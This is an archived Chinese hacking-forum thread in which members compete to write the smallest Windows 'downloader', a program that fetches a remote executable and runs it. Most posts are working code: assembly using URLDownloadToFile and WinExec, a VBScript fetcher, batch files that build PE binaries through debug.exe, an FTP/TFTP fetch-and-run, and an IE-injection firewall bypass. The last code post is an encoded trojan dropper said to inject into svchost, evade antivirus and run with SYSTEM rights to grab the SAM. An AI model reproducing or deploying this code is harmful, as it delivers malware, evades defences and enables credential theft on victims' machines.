邪恶八进制信息安全团队技术讨论组's Archiver

gyzy 2006-10-30 11:17

[原创]擂台!比比谁的下载者更小

信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
原创作者:gyzy [E.S.T]

mj才是王道 2006-10-30 11:31

我的比你少6个字节  [s:58]
[code]
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;include
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include  windows.inc
include  kernel32.inc
includelib kernel32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
szURL db '[url]http://localhost/1.exe[/url]',0
szPath db 'c:\1.exe',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
start:
        call loadlib
        db 'urlmon',0
loadlib:
        call LoadLibraryA
        add eax,5B147h
        push NULL
        push NULL
        push offset szPath
        push offset szURL
        push NULL
        call eax
        
        invoke WinExec,offset szPath,0
   invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start

[/code] [s:70] 娱乐一下 活跃气氛 `不要删哦

风蓝 2006-10-30 11:51

貌似 icyfox 的下载者512字节 。

不知道手工打造一个这样的下载者会有多少,估计会突破极限了。

gyzy 2006-10-30 12:09

[quote][b]引用第1楼[i]mj才是王道[/i]于[i]2006-10-30 11:31[/i]发表的[/b]:
我的比你少6个字节  [s:58]
[code]
.386
.model flat,stdcall
option casemap:none
.......[/quote]
汗..........嗯,512字节的,牛B,贴出来让大家学习一下啊,口说无凭嘛...要求能在WinXP SP2下跑起来,无论用什么猥琐方法都可以,包括手工修改PE文件

evilknight 2006-10-30 12:15

.data
szURL db '[url]http://localhost/1.exe[/url]',0
szPath db 'c:\1.exe',0

哈哈,就是这里少了一点,哈哈,url比你的那个少了三个字节,哈哈..下载的文件名也比你少三个字节

就是把gyzy改成1....哈哈,不算...

gyzy 2006-10-30 12:16

把编译的MakeFile文件也贴出来:
[code]EXE = gDownloader.exe    #指定输出文件
OBJS = gDownloader.obj    #需要的目标文件
#RES = 1.res    #需要的资源文件

LINK_FLAG = /subsystem:windows /section:gyzy /MERGE:.data=gyzy /MERGE:.text=gyzy /MERGE:.rdata=gyzy#连接选项
ML_FLAG = /c /coff    #编译选项

$(EXE): $(OBJS) $(RES)
  Link $(LINK_FLAG) $(OBJS) $(RES)

.asm.obj:
  ml $(ML_FLAG) $<
.rc.res:
  rc $<

clean:
  del *.obj
  del *.res[/code]

gyzy 2006-10-30 12:27

[quote][b]引用第4楼[i]evilknight[/i]于[i]2006-10-30 12:15[/i]发表的[/b]:
.data
szURL db &#39;[url]http://localhost/1.exe[/url]&#39;,0
szPath db &#39;c:1.exe&#39;,0

哈哈,就是这里少了一点,哈哈,url比你的那个少了三个字节,哈哈..下载的文件名也比你少三个字节
.......[/quote]
确定比我的小5字节??嘿嘿,毛主席他老人家说过:“没有调查就没有发言权”,url和文件名修改编译出来的大小不变的。

lhn 2006-10-30 15:23

Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
==========230字节,不过是vbs

asm 2006-10-30 17:55

我这个是2.5K,汗,贴出来献丑.....[s:73]  [s:73]  [s:73]

.386
.model flat, stdcall
option casemap :none
include      windows.inc
include      urlmon.inc
include      kernel32.inc
include      shell32.inc
includelib    shell32.lib
includelib    kernel32.lib
includelib    urlmon.lib

.data
szURL    db &#39;[url]http://localhost/1.exe[/url]&#39;,0
szSaveFile db &#39;C:\1.exe&#39;,0
szUrlmon  db "urlmon.dll",0
.code
start:
invoke LoadLibrary,offset szUrlmon
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitProcess,NULL
end start

chinalvker 2006-10-31 06:23

[quote][b]引用第7楼[i]lhn[/i]于[i]2006-10-30 15:23[/i]发表的[/b]:
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
==========230字节,不过是vbs[/quote]

冒昧问句,这是你原创吗 ?

刚刚准备测试,卡巴报警了

asm 2006-10-31 22:44

szURL db &#39;URL&#39;,0

.code
start:
      invoke ShellExecute,0,0,addr szURL,0,0,SW_SHOW
      invoke ExitProcess,NULL
end start

不知道只调用一个 ShellExecute 会不会也...........

Zoner 2006-11-1 07:55

[code].386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;include
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include  windows.inc
include  kernel32.inc
includelib kernel32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
szPath db &#39;c:\gyzy.exe&#39;,0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
start:
        call loadlib
        db &#39;urlmon&#39;,0
loadlib:
        call LoadLibraryA
        add eax,5B147h
        xor edx, edx
        push edx
        push edx
        lea ecx, szPath
        push ecx
        push edx
        push edx
        push ecx
        call szURL
        db &#39;[url]http://localhost/gyzy.exe[/url]&#39;,0
szURL:
        push NULL
        call eax
        
        call WinExec
        call ExitProcess
end start

[/code]

LINK参数:
/subsystem:windows /section:_ /MERGE:.data=_ /MERGE:.text=_ /MERGE:.rdata=_ /ALIGN:4

直接编译出来为704字节...其实还是align的作用更大一些

30956569 2006-12-17 07:05

说句菜鸟的话,就上边ASM的可以成功运行,其余的都不可以。

masmplus测试的。

jack9570 2007-1-4 23:13

作为下载者俺的不是最小 1024字节
作为批处理生成,应该说这样的大小很不错滴

echo E100 4D 5A>x&echo F 102 5FF 00>>x&echo E3F0 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 3E 00 55>>X
echo E190 50 45 00 00 4C 01 01 00 31 AB 66 44>>x&echo E1A4 E0 00 0F 01 0B 01 06 00 00 02>>x
echo E1B8 50 10 00 00 00 10>>x&echo E1F0 00 00 10 00 00 10 00 00 00 00 10 00 00 10>>x
echo E1C1 20 00 00 00 00 14 13 00 10 00 00 00 02>>x&echo E1E1 20 00 00 00 02 00 00 00 00 00 00 02>>x
echo E1D0 04 00 00 00 00 00 00 00 04>>x&echo E290 20 01 00 00 00 10 00 00 00 02 00 00 00 02>>x
echo E269 10 00 00 14>>x&echo E 2AC 20 00 00 E0>>x&echo E380 FF 25 0C 10 14 13 CC CC C4 10>>x
echo E300 D8 10 00 00 E2 10 00 00 00 00 00 00 FE 10 00 00 68>>x&echo E394 F0 10 00 00 00 10 00 00 D0 10>>x
echo E350 6A 00 6A 00 68 3D 10 14 13 68 10 10 14 13 6A 00>>x&echo E3A8 14 11 00 00 0C 10>>X
echo E360 E8 1B 00 00 00 6A 05 68 3D 10 14 13 FF 15 00 10>>x&echo E13C 90>>x&echo E 204 10>>x
echo E370 14 13 6A 00 FF 15 04 10 14 13 C3>>x&echo E3E0 63 00 7D 00 45 78 69 74 50 72 6F 63 65 73 73>>X
echo E3D0 FE 10 00 00 00 00 00 00 D3 02 57 69 6E 45 78 65>>X&echo E3C4 D8 10 00 00 E2 10>>X
echo E401 "RLDownloadToFileA">>x&echo E 414 "urlmon.dll">>x&echo E33D "c:\Recycler\x.exe">>X
echo E311 "ttp://172.30.7.191:88/REGSHOT.EXE">>x&echo E210 88 10 00 00 3C>>x
echo rcx>>x&echo 400>>x&echo n secsec>>x&echo w>>x&echo q>>x&echo .>>x
debug<x>nul&del x&ren secsec NEW.exe

jack9570 2007-1-4 23:25

再来个穿墙的下载者,1.5K
大了点  [s:40]

echo E100 4d 5a>s&echo F102 8FF 00>>s&echo E13c 80>>s
echo E180 50 45 00 00 4c 01 01 00 63 68 db 44>>s&echo E1c0 04>>s
echo E194 e0 00 0f 01 0b 01 06 00 00 06>>s&echo E1c8 04>>s
echo E1a8 c0 11 00 00 00 10>>s&echo E1d1 20 00 00 00 02>>s
echo E1b1 20 00 00 00 00 14 13 00 10 00 00 00 02>>s&echo E1dc 02>>s
echo E1e2 10 00 00 10 00 00 00 00 10 00 00 10>>s&echo E1f4 10>>s
echo E200 8c 12 00 00 64>>s&echo E259 10 00 00 54>>s
echo E280 a8 04 00 00 00 10 00 00 00 06 00 00 00 02>>s
echo E29c 20 00 00 e0>>s&echo E340 50 14 00 00 34 14>>s
echo E300 44 13 00 00 52 13 00 00 6c 13 00 00 78 13>>s
echo E310 84 13 00 00 98 13 00 00 ae 13 00 00 c4 13>>s
echo E320 da 13 00 00 ec 13 00 00 fc 13 00 00 0a 14>>s
echo E354 6f 70 65 6e>>s&echo E398 2f 63 20 64 65 6c 20>>s
echo E35c "[url]http://127.0.0.1:888/xxxxx.exe[/url]">>s&echo E330 12 14>>s
echo E37c "C:\sec.exe">>s&echo E406 8d 44 24 00 68 04 01>>s
echo E388 43 6f 6d 53 70 65 63 00 3e 6e 75 6c>>s&echo E338 6a 14>>s
echo E3a0 "IEFrame">>s&echo E3f8 10 14 13 33 c0 c3 90 90 81 ec 08 02>>s
echo E3a8 "IEXPLORE.EXE">>s&echo E3ed ff 15 38 10 14 13 6a 00 ff 15>>s
echo E3c0 6a 00 6a 00 68 7c 10 14 13 68 5c 10 14 13 6a 00 e8 ab 01>>s
echo E3d5 6a 05 68 88 12 14 13 68 88 12 14>>s&echo E59d 10 00 00 30 13>>s
echo E34c 86 14>>s&echo E3e0 13 68 7c 10 14 13 68 54 10 14 13 6a>>s
echo E40f 50 6a 00 ff 15 14 10 14 13 85 c0 0f 84 97>>s
echo E420 8d 4c 24 00 68 04 01 00 00 8d 54 24 04 51 52 ff>>s
echo E430 15 10 10 14 13 85 c0 74 7e 56 8d 84 24 08 01>>s
echo E440 00 68 98 10 14 13 50 ff 15 0c 10 14 13 8b 35 08>>s
echo E450 10 14 13 8d 4c 24 04 8d 94 24 08 01>>s&echo E58c f0 12>>s
echo E45e 51 52 ff d6 8d 84 24 08 01>>s&echo E6b0 "CreateRemoteThread">>s
echo E469 68 90 10 14 13 50 ff d6 8d 4c 24 04 68 04 01>>s
echo E47a 51 68 88 10 14 13 ff 15 04 10 14 13 85 c0 5e 74 2c 6a>>s
echo E48d 8d 94 24 08 01 00 00 6a 00 8d 44 24 08 52 50 6a>>s
echo E49e 6a 00 ff 15 38 10 14 13 83 f8 20 7e 0c b8 01>>s
echo E4b0 81 c4 08 02 00 00 c3 33 c0 81 c4 08 02>>s&echo E598 26 14>>s
echo E4bf c3 51 53 56 57 6a 00 ff 15 30 10 14 13 8b f0 6a>>s
echo E4d0 68 88 12 14 13 68 88 12 14 13 8b 46 3c 68 a8 10>>s
echo E4e0 14 13 68 54 10 14 13 6a>>s&echo E654 "GetEnvironmentVariableA">>s
echo E4e9 8b 5c 30 50 ff 15 38 10 14 13 68 b8 0b>>s&echo E6c4 e9 02>>s
echo E4f8 ff 15 2c 10 14 13 8d 4c 24 0c 51 6a 00 68 a0 10 14>>s
echo E509 13 ff 15 40 10 14 13 50 ff 15 44 10 14 13 8b 54 24 0c 52 6a>>s
echo E51e 68 ff 0f 1f 00 ff 15 28 10 14 13 68 00 80>>s
echo E52e 8b f8 6a 00 56 57 ff 15 24 10 14 13 6a 40 68 00 30>>s
echo E541 53 56 57 ff 15 20 10 14 13 6a>>s&echo E79c "urlmon.dll">>s
echo E54c 53 56 50 57 ff 15 1c 10 14 13 6a 00 6a 00 56 68 c0 10 14 13 6a>>s
echo E562 6a 00 57 ff 15 18 10 14 13 e8 90 fe ff ff 5f 5e 5b 59 c3>>s
echo E575 90 90 90 90 90 90 90 90 90 90 90 ff 25 4c 10 14 13 cc cc>>s
echo E5ac 5e 14 00 00 40 10 00 00 28 13>>s&echo E788 "URLDownloadToFileA">>s
echo E5c0 7a 14 00 00 38 10 00 00 3c 13>>s&echo E686 "GetShortPathNameA">>s
echo E5d0 00 00 00 00 9c 14 00 00 4c 10>>s&echo E6c6 "WriteProcessMemory">>s
echo E5f0 44 13 00 00 52 13 00 00 6c 13 00 00 78 13>>s
echo E600 84 13 00 00 98 13 00 00 ae 13 00 00 c4 13>>s
echo E610 da 13 00 00 ec 13 00 00 fc 13 00 00 0a 14>>s
echo E620 12 14 00 00 00 00 00 00 6a 14>>s&echo E736 "GetWindowThreadProcessId">>s
echo E630 50 14 00 00 34 14 00 00 00 00 00 00 86 14>>s&echo E6ee "VirtualFreeEx">>s
echo E644 7d 00 45 78 69 74 50 72 6f 63 65 73 73 00 09 01>>s
echo E66c f9 02 6c 73 74 72 63 61 74 41>>s&echo E714 "GetModuleHandleA">>s
echo E678 02 03 6c 73 74 72 63 70 79 41 00 00 4e 01>>s
echo E698 24 01 47 65 74 4d 6f 64 75 6c 65 46 69 6c 65 4e 61 6d 65 41 00 00 46>>s
echo E6da bc 02 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 00 00 c0 02>>s
echo E6fc ef 01 4f 70 65 6e 50 72 6f 63 65 73 73 00 96 02 53 6c 65 65 70 00 26 01>>s
echo E726 4b 45 52 4e 45 4c 33 32 2e 64 6c 6c 00 00 62 01>>s
echo E750 d5 00 46 69 6e 64 57 69 6e 64 6f 77 41 00 55 53 45 52 33 32 2e 64 6c 6c>>s
echo E76a 72 00 53 68 65 6c 6c 45 78 65 63 75 74 65 41>>s
echo E77a 53 48 45 4c 4c 33 32 2e 64 6c 6c 00 3e>>s
echo rcx>>s&echo 800>>s&echo n 0661>>s&echo w>>s&echo q>>s
debug<s>nul&&move 0661 2.exe

est 2007-1-16 15:09

Hi all,
Check it out here:

[url]http://forum.sysinternals.com/forum_posts.asp?TID=9068&PN=1[/url]

Smallest PE file that downloads a file over WebDAV and executes it: [url=http://www.phreedom.org/solar/code/tinype/tiny.webdav.133/]133 bytes.[/url]

And for downloader in bat scripts:
[code]
<"%~f0" more +1|debug&ren dlr dlr.exe&goto:eof
E100 4D 5A
F 102 5FF 00
E3F0 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 3E 00 55
E190 50 45 00 00 4C 01 01 00 31 AB 66 44
E1A4 E0 00 0F 01 0B 01 06 00 00 02
E1B8 50 10 00 00 00 10
E1F0 00 00 10 00 00 10 00 00 00 00 10 00 00 10
E1C1 20 00 00 00 00 14 13 00 10 00 00 00 02
E1E1 20 00 00 00 02 00 00 00 00 00 00 02
E1D0 04 00 00 00 00 00 00 00 04
E290 20 01 00 00 00 10 00 00 00 02 00 00 00 02
E269 10 00 00 14
E 2AC 20 00 00 E0
E380 FF 25 0C 10 14 13 CC CC C4 10
E300 D8 10 00 00 E2 10 00 00 00 00 00 00 FE 10 00 00 68
E394 F0 10 00 00 00 10 00 00 D0 10
E350 6A 00 6A 00 68 3D 10 14 13 68 10 10 14 13 6A 00
E3A8 14 11 00 00 0C 10
E360 E8 1B 00 00 00 6A 05 68 3D 10 14 13 FF 15 00 10
E13C 90
E 204 10
E370 14 13 6A 00 FF 15 04 10 14 13 C3
E3E0 63 00 7D 00 45 78 69 74 50 72 6F 63 65 73 73
E3D0 FE 10 00 00 00 00 00 00 D3 02 57 69 6E 45 78 65
E3C4 D8 10 00 00 E2 10
E401 "RLDownloadToFileA"
E 414 "urlmon.dll"
E33D "c:\Recycler\x.exe"
E311 "ttp://172.30.7.191:88/REGSHOT.EXE"
E210 88 10 00 00 3C
rcx
400
n dlr
w
q
[/code]

jack9570 2007-1-16 17:54

[quote][b]引用第15楼[i]est[/i]于[i]2007-01-16 15:09[/i]发表的[/b]:
Hi all,
Check it out here:

[url]http://forum.sysinternals.com/forum_posts.asp?TID=9068&PN=1[/url]

.......[/quote]
楼上的英文真好,俺看不明白。。。
俺是根据网上牛人的 “记用BAT(批处理脚本)实现文件下载功能”这篇文章自己对比着描出来的下载者。
牛人就是牛人啊 还有很多地方没有弄懂,不过已经是受益匪浅了。嘻嘻 ,现象nc -l -p 7788<down.bat然后开批量溢出 省事多了。

fallening 2007-1-17 18:44

linux下成不? 24字节

vi download.sh
i wget [url]http://localhost/1[/url]
ESC :wq

sh download.sh

无敌小龙 2007-1-18 15:10

linux下成不? 24字节

vi download.sh
i wget [url]http://localhost/1[/url]
ESC :wq

sh download.sh

From:江苏省南京市中科院

======================
楼上的NB,

来头不小哈

当然可以算,只要是可以分发传播的可执行文件都可以罗

Helvin 2007-1-18 15:23

[quote][b]引用第17楼[i]fallening[/i]于[i]2007-01-17 18:44[/i]发表的[/b]:
linux下成不? 24字节

vi download.sh
i wget [url]http://localhost/1[/url]
ESC :wq
.......[/quote]
这个有点流氓

我这个是多平台,不需要编译的

open 23.23.23.23
user
pass
get 1.exe
quit

save to ftp

ftp -s:ftp

liiro 2007-1-18 17:01

[quote][b]引用第19楼[i]Helvin[/i]于[i]2007-01-18 15:23[/i]发表的[/b]:

这个有点流氓

我这个是多平台,不需要编译的

.......[/quote]


哎,编程不好,就这一楼的能看懂 [s:35]

顶一下,经常用这个,好使,
做成批处理就可以了..
适合菜鸟使用..

虫虫 2007-1-20 17:35

[quote][b]引用第15楼[i]est[/i]于[i]2007-01-16 15:09[/i]发表的[/b]:
Hi all,
Check it out here:

[url]http://forum.sysinternals.com/forum_posts.asp?TID=9068&PN=1[/url]

.......[/quote]

第一次看的时候看错了,呵呵,还错怪作者,以为作者错了呢.

这个133 byte的downloader....构造的很妙啊,呵呵

我记得,要是使winxp客户端支持WebDAV,需要开启 WebClient服务吧? 我的关了,默认是开的,好像.
IIS5默认是开启WebDAV的,不知道IIS^6怎么样~

jrn888 2007-1-22 01:21

就上边ASM的可以成功运行,其余的都不可以 [s:39]  [s:39]

流氓混混 2007-1-22 20:12

[quote][b]引用第9楼[i]chinalvker[/i]于[i]2006-10-31 06:23[/i]发表的[/b]:


冒昧问句,这是你原创吗 ?

刚刚准备测试,卡巴报警了[/quote]


哈哈,先仔细看看代码再测试啊```那个是VBS代码啊``网上流传已久的!

justcrack 2007-1-24 17:02

624字节.
合并节,/ALIGN:4,未压缩.
[s:39]

.386
.model flat,stdcall
option casemap:none

include windows.inc
include kernel32.inc

includelib kernel32.lib

.data

szCmdLine   db "tftp -i [url]www.0xh.cn[/url] get 1.exe c:\1.exe",0
szFile      db "c:\1.exe",0

.code

start:
   invoke WinExec,addr szCmdLine,SW_HIDE
   invoke WinExec,addr szCmdLine,SW_HIDE
end start

ZV 2007-1-24 17:16

这个东西最小应该能写到250字节以内.我写过220字节的还是多少,忘记了.改天有时间发上来.

asm 2007-1-24 18:48

[quote][b]引用第26楼[i]justcrack[/i]于[i]2007-01-24 17:02[/i]发表的[/b]:
624字节.
合并节,/ALIGN:4,未压缩.
[s:39]

.386
.......[/quote]

你这代码写错了,正确的应该是:

.386
.model flat,stdcall
option casemap:none

include windows.inc
include kernel32.inc

includelib kernel32.lib

.data

szCmdLine  db "tftp -i [url]www.0xh.cn[/url] get 1.exe c:\1.exe",0
szFile    db "c:\1.exe",0

.code

start:
  invoke WinExec,addr szCmdLine,SW_HIDE
  invoke WinExec,addr szFile,SW_HIDE
end start


[s:39]  [s:39]  [s:39]

justcrack 2007-1-24 22:12

[s:64] 一不当心就写错了。我是分2次复制的。发现多了行就删了行,结果删错
- -#

jack9570 2007-1-26 04:13

133字节的牛
[url]http://www.phreedom.org/solar/code/tinype/tiny.webdav.133/[/url]

itking024 2007-2-1 10:09

[quote][b]引用第8楼[i]asm[/i]于[i]2006-10-30 17:55[/i]发表的[/b]:
我这个是2.5K,汗,贴出来献丑.....[s:73]  [s:73]  [s:73]

.386
.model flat, stdcall
option casemap :none
.......[/quote]


这个urlmon.dll有什么作用?

scloo 2007-2-7 11:32

*** 作者被禁止或删除 内容自动屏蔽 ***

yxqadr 2007-2-20 20:21

楼上的需要修改..

open 后面的是IP
下面的是用户名密码
其他的就不说了.

qqpoly 2007-3-24 13:35

我做试验,那个VBS的好像不行哦,杀毒软件也出来捣乱。

evilcode 2007-3-27 20:28

我写的也是用UrlDownloadToFile和ShellExecute两个API,为什么我的会比他们的大很多呢?哪位解释一下要调用哪个API才会更小?

81635631 2007-4-13 02:03

小是小。。可是非 不会穿墙吧。。 [s:264]
个人想法
把马改成jpg或者其它格式
用ie访问
然后在临时ie文件夹里翻出来。。
大小 1K 肯定可以解决 [s:267]

cctt258963 2007-4-25 19:47

看不懂,请问单引号用其它进制怎么表示呀

sliverg 2007-5-20 18:23

[quote]引用第6楼gyzy于2006-10-30 12:27发表的 :

确定比我的小5字节??嘿嘿,毛主席他老人家说过:“没有调查就没有发言权”,url和文件名修改编译出来的大小不变的。[/quote]

貌似 只有类如 count dup() 定义的 大小才不变吧 ?[s:263]

dfsy 2007-5-21 00:54

呃,,好像大家都不穿墙哈...
我的下载者,插入SVCHOST.EXE(不信它不DNS解释) 目前全免杀.自己写着玩的,见笑.哈哈...

下载的是这个文件:
[url]http://www.zj5173.com/33.exe[/url]

@echo bs=_>xx.vbs
@echo "NpFAAAAAAAAAAAAAQVEAAwUACAgRTdUIAAAAAAAAAAA4A8QALEAAAAAAAAAAIAAAAAAAAQVAAAAAQAAAMAAAAAAAVMBAQAAAAIAAAQAAAAAAAAAAEAAAAAAAAAAAABAAAIAAAAAAAAgAAAAAAAAEAAAEAAAAAABAAABAAAAAAAAE"+_>>xx.vbs
@echo "AAAAAAAAAAAAAAA/zAAAECAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+_>>xx.vbs
@echo "AAAAAAAAAAAAAAAIAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAwAAAAAAAAAAAAQAAAAADAA0HBAAAACAAAAAAAAAAAAAAAAAAAgDAAAfYJARTFTEGlVRqtA+/Ezl/MJ//EzZxMA//Ez9htAGEsQ8/ESA8c6XnOquO4/PFC"+_>>xx.vbs
@echo "CY/gZHQdO8/UEsOJsGN601yEJvOGRiUwgjAr/PFB7ME+zpAg8XwcGMI+/dnABFUlLWstAY1i3vC8zTqXr/pXteZrQ9/UQU5iHAEezX3A/PGDQV1/TRxqr7+MJH0/TMRy/Phc4PsASXXBKahRSI9wLVkUOVETzIjLkxGbAAwnMYRF"+_>>xx.vbs
@echo "TcbCHm4/PKwfnmPE5GZCJLy1E1+lL6eQkFSCxg0QZGYKtFZC/LSXByT2UGz7I9J1tBFxsChCoRAH0dEc68iF3JQAuona1EzNzw9Yv9Xbt7oDlhHXpEgdAEdoUHfv4PLz6M8+4YsR8PVOlREAiV3ZQJXa2ROb5L+o89GcK7WEBtNH"+_>>xx.vbs
@echo "gw2XfmmePQ0b35pufEGZfLnzyAjK3Ua4VJFTYlBVwbEz/FUoo5tZYVkPjVHa05BJA10TO5idE9Oj5gUROMDVy0wQZIXZhRkUU32bGzAVotBYkB0SFJlTnfUINboCgeQVLy+ggwRjFxPAWNj9Qh2/B8A4JyXdQWWS8M0fI7ABHWIw"+_>>xx.vbs
@echo "1d3MBteYXZoCN2H68QD5rKACLgvH0fvcMxG8N3kVaJMGfR3NSvoK3noRo7g3G5J7g2A5qBBUAlprHTRAxeuDwLgFiVECRyARAcP2bAMQelMVD7YgkTwxLNlVjWDFGMzVoxVELdn1hB1DjSIFGxANEBBaRBUGuL4EjinoYgGLESCj"+_>>xx.vbs
@echo "iUzkSsOlH8QjFyv//SppBdVkcTCG/ywUDm8+SZclAyh8uef0dsS+LmnOZbj+v4h9LPwTBnuAzXqQQ0zDDG+ApS6BgYlFQRrVk1OQahWM4ugpobIlxmVZZDDOK+zg43+AHgG6D0BMrXw20/j2iRJJ0oWBPqQjRYUkMqwXetV+kDjN"+_>>xx.vbs
@echo "QT3VMomAonyGLSG+oBtQQd1xliAKIwkCoeGK0lziFBGlCRfeIi1uUieDp5GPjV3CLOL2aMzoIWMMFheySenCrP8g9UBKqDjg0+B673/22IW6EeKtbYaCaY1jHk+HksCKf1woQWSkYAEQOmoD9xPUT5eX+G4Q80IRD8O1FzCAjvFW"+_>>xx.vbs
@echo "qBEagDzz7VXjXJICvASklI7IQFrEccB0NWgHSgtDqxPWUgGfRYhIUc/8KcBUjC4JRCBUgcF/8JqDDJzQWA0KQjUEYMlM+w8GlwSGhwAMQSDyMRJzBYPKDBFToqKQ55luER6RupXERIiyBKl4jGCKKwPF8QFOIVhUB4KwHVGdMFGd"+_>>xx.vbs
@echo "zhTRyl7bTDhGDVnGD/2uQ5DJjh7cSTBWM19ucTpLiZknzlqKXSVBtAHUCXDayCxDz4IZ9k6N44CTHq7bk1fuhk3lDNAmzVGSx7GZG0RbXpplMUWT6aH0KRiHWlWA0VXYsF0yug1Y1GCWf2UBkVHb0oTSK9kQQwBoGqAsnanTpgHd"+_>>xx.vbs
@echo "Qgst9E12sWP3jT1bKyGUNMGcyMlb/f2c/uOdXKuCDhmrNUFc+eNeRj2U6ohUDkta1ZGnIum95yZRzZj5mESdwVmVf0Lql+IpiUzxFSkVyAVSUK1NfNnYWAHEY10wKMkUUZhUke2YHmlCB0VVbDAAAAAV0AAAAAAAAAAAAAg8BAAA"+_>>xx.vbs
@echo "URDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARFTAAMVMBmUUxEAAAAAQENVMBgAAAAA0HAAQCNVMB6BUxEcHQFT4dAVMxFTUxEeRDAAwGNAAAAAAAAM9WYkxUaiJXYylXQAAwRlRHUy92YBRGZyV2czBA="+_>>xx.vbs
@echo "":set rs=CreateObject("ADODB.Recordset")>>xx.vbs
@echo set ado=CreateObject("ADODB.Stream")>>xx.vbs
@echo l=len(bs):ss="":for k=1 to l step 4096:ss=ss+ub64(mid(bs,k,4096)):next:l=len(ss)>>xx.vbs
@echo rs.fields.append "b",205,l/2:rs.open:rs.addnew:rs("b")=ss+chrb(0):rs.update>>xx.vbs
@echo ado.mode=3:ado.type=1:ado.open:ado.write rs("b").getchunk(l/2)>>xx.vbs
@echo ado.savetofile "33.exe",2:ado.close>>xx.vbs
@echo function ub64(s):dim t(4),b(3):ub64="":n=len(s):r=2 >>xx.vbs
@echo if n mod 4^<^>0 then exit function:end if:for i=1 to n step 4:for j=0 to 3 >>xx.vbs
@echo a=asc(mid(s,i+j,1)):if a=43 then:a=62:else if a=47 then:a=63:else if a^>47 and a^<58 then:_>>xx.vbs
@echo a=a+4:else if a=61 then:a=0:if r=2 then r=j-2:end if:else if a^>64 and a^<91 then:_>>xx.vbs
@echo a=a-65:else if a^>96 and a^<123 then:a=a-71:else:exit function:_>>xx.vbs
@echo end if:end if:end if:end if:end if:end if:t(j)=a:next>>xx.vbs
@echo b(0)=t(0)+t(1)*64 mod 256:b(1)=t(1)\4+t(2)*16 mod 256:b(2)=t(2)\16+t(3)*4 >>xx.vbs
@echo for j=0 to r:if b(j)^<16 then ub64=ub64+"0":end if:ub64=ub64+hex(b(j))>>xx.vbs
@echo next:next:end function>>xx.vbs&&cscript.exe //nologo xx.vbs&del xx.vbs

dfsy 2007-5-21 00:56

插入SVCHOST.EXE有一些好处,如卡卡,360等不会报,而且是以SYSTEM权限运行木马,,这个时候可以利用这个权限做些东西,如CLONE(SAM注册表默认要SYSTEM权限才可以访问)等..

呼喚 2007-5-22 15:31

是BAT文件吗,晕,太乱了,看不懂。

页: [1]
© 1999-2008 EvilOctal Security Team